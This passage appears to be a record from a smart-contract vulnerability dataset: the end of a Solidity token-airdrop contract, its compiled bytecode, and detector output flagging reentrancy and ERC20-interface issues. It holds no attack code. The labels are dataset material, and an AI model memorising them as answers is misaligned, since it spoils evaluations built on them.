public view returns (uint256) { return arrayAirDropReceivers.length; } /** * @dev Get the remaining amount of token user can receive. * @return Uint256 the amount of token that user can reveive. */ function getRemainingToken() public view returns (uint256) { return erc20.balanceOf(this); } /** * @dev Return the total amount of token user received. * @return Uint256 total amount of token user received. */ function getTotalAirDroppedAmount() public view returns (uint256) { return airDropAmount.mul(arrayAirDropReceivers.length); } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166307da68f5811461010b57806308e9988b146101345780632aec94661461015b5780633197cbb61461017b5780633efe6441146101905780633f4039ba146101a557806340992e9d146101d957806340a3d246146101ee57806351cff8d9146102035780636a3350c81461022457806370cf750814610245578063785e9e861461025a57806378e979251461026f5780638b08292d146102845780638da5cb5b14610299578063c0ee0b8a146102ae578063c1fae25b14610317578063c7b160db1461032c578063f2fde38b14610341575b600080fd5b34801561011757600080fd5b50610120610362565b604080519115158252519081900360200190f35b34801561014057600080fd5b5061014961036b565b60408051918252519081900360200190f35b34801561016757600080fd5b50610179600435602435604435610371565b005b34801561018757600080fd5b506101496104d0565b34801561019c57600080fd5b506101496104d6565b3480156101b157600080fd5b506101bd600435610574565b60408051600160a060020a039092168252519081900360200190f35b3480156101e557600080fd5b5061014961059c565b3480156101fa57600080fd5b506101796105ba565b34801561020f57600080fd5b50610179600160a060020a0360043516610645565b34801561023057600080fd5b50610120600160a060020a0360043516610785565b34801561025157600080fd5b5061012061079a565b34801561026657600080fd5b506101bd61080c565b34801561027b57600080fd5b50610149610820565b34801561029057600080fd5b50610120610826565b3480156102a557600080fd5b506101bd610875565b3480156102ba57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610179948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108849650505050505050565b34801561032357600080fd5b50610179610889565b34801561033857600080fd5b506101496109c6565b34801561034d57600080fd5b50610179600160a060020a03600435166109cc565b60045460ff1681565b60015481565b60008054600160a060020a0316331461038957600080fd5b60045460ff168061039b575060065442115b15156103a657600080fd5b4284101580156103b65750838310155b80156103c25750600082115b15156103cd57600080fd5b6005849055600683905560048054604080517f313ce5670000000000000000000000000000000000000000000000000000000081529051610100909204600160a060020a03169263313ce5679282820192602092908290030181600087803b15801561043857600080fd5b505af115801561044c573d6000803e3d6000fd5b505050506040513d602081101561046257600080fd5b505160ff16905061047d82600a83900a63ffffffff610a6016565b60018190556005546006546040805192835260208301919091528181019290925290517f20efc62a7a9ebf73bc01c79415ebe8e96ae9a94a0c0efed186caef56a71d5dcf9181900360600190a150505050565b60065481565b60048054604080517f70a08231000000000000000000000000000000000000000000000000000000008152309381019390935251600092610100909204600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561054357600080fd5b505af1158015610557573d6000803e3d6000fd5b505050506040513d602081101561056d57600080fd5b5051905090565b600380548290811061058257fe5b600091825260209091200154600160a060020a0316905081565b6003546001546000916105b5919063ffffffff610a6016565b905090565b600054600160a060020a031633146105d157600080fd5b6004805460ff19811660ff9182161517918290551615610619576040517f407235ba9d50c9ec9294457c137c94dd310f8658f7c03e9061c50ac66751af1290600090a1610643565b6040517fddd1002e99df5d98b17a9b830ba8e5a4f8d618d5df9ccc99c5faea5b4abdbad890600090a15b565b60008054600160a060020a0316331461065d57600080fd5b60045460ff168061066f575060065442115b151561067a57600080fd5b600160a060020a038216151561068f57600080fd5b6106976104d6565b9050600460019054906101000a9004600160a060020a0316600160a060020a031663a9059cbb83836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050600060405180830381600087803b15801561072a57600080fd5b505af115801561073e573d6000803e3d6000fd5b5050604080518481529051600160a060020a03861693507fb4214c8c54fc7442f36d3682f59aebaf09358a4431835b30efb29d52cf9e1e9192509081900360200190a25050565b60026020526000908152604090205460ff1681565b60045460015460009160ff1615908290819081906107b66104d6565b1015925060055442101580156107ce57506006544211155b3360009081526002602052604090205490925060ff161590508380156107f15750825b80156107fa5750815b80156108035750805b94505050505090565b6004546101009004600160a060020a031681565b60055481565b60045460015460009160ff161590829081906108406104d6565b10159150600554421015801561085857506006544211155b90508280156108645750815b801561086d5750805b935050505090565b600054600160a060020a031681565b505050565b61089161079a565b151561089c57600080fd5b33600081815260026020526040808220805460ff191660019081179091556003805480830182559084527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff19168517905560048054915483517fa9059cbb0000000000000000000000000000000000000000000000000000000081529182019590955260248101949094529051610100909104600160a060020a03169263a9059cbb92604480830193919282900301818387803b15801561097457600080fd5b505af1158015610988573d6000803e3d6000fd5b505060015460408051918252513393507f41097886570f9a869fa2411d79ffeeeaf139da10f9050e7797b948f14ff4256992509081900360200190a2565b60035490565b600054600160a060020a031633146109e357600080fd5b600160a060020a03811615156109f857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000821515610a7157506000610a89565b50818102818382811515610a8157fe5b0414610a8957fe5b929150505600a165627a7a7230582043911ba6c91ac6c0564949aedde6072247524f720956698eec1728d60cf7844a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
4,899